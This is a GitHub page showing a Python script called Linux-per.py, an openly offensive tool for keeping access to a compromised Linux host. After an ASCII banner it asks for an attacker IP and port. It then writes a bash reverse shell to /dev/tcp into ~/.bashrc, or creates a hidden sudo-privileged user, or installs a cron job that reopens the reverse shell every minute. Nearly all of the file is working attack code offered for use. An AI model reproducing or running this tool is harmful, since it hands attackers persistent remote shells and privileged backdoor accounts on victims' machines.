-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathLinux-per.py
More file actions
45 lines (33 loc) · 1.85 KB
/
Linux-per.py
File metadata and controls
45 lines (33 loc) · 1.85 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
print('''
| | | || \ | | || | | | \ / _]| \ / ___/| | / ___/| | / _]| \ / ] / _]
| | | | | _ || | || | | _____ | o ) / [_ | D )( \_ | | ( \_ | | / [_ | _ | / / / [_
| |___ | | | | || | ||_ _|| || _/ | _]| / \__ | | | \__ ||_| |_|| _]| | | / / | _]
| | | | | | || : || ||_____|| | | [_ | \ / \ | | | / \ | | | | [_ | | |/ \_ | [_
| | | | | | || || | | | | | || . \ \ | | | \ | | | | || | |\ || |
|_____||____||__|__| \__,_||__|__| |__| |_____||__|\_| \___||____| \___| |__| |_____||__|__| \____||_____|
''')
print("Created by devilxuser also known as computer_boy on social media :)")
ip = input("Enter your IP: ")
port = input("Enter the port you want to listen on: ")
per = input('''Enter which persistence you want(1,2,3):
1) .bashrc Persistence
2) Privileged User (newuser)
3) Crontab Persistence
''')
if per == '1':
command = f"/bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1"
os.system(f'echo "{command}" >> ~/.bashrc')
print(".bashrc Persistence added.")
elif per == '2':
username = input("Enter the username for the new privileged user: ")
os.system(f'sudo useradd -m {username}')
os.system(f'sudo usermod -aG sudo {username}')
print(f"Privileged user '{username}' created.")
elif per == '3':
command = f"* * * * * /bin/bash -i >& /dev/tcp/{ip}/{port} 0>&1"
os.system(f'(crontab -l; echo "{command}") | crontab -')
print("check it through etering ,'crontab -l'")
print("Crontab Persistence added.")
else:
print("Invalid option selected.")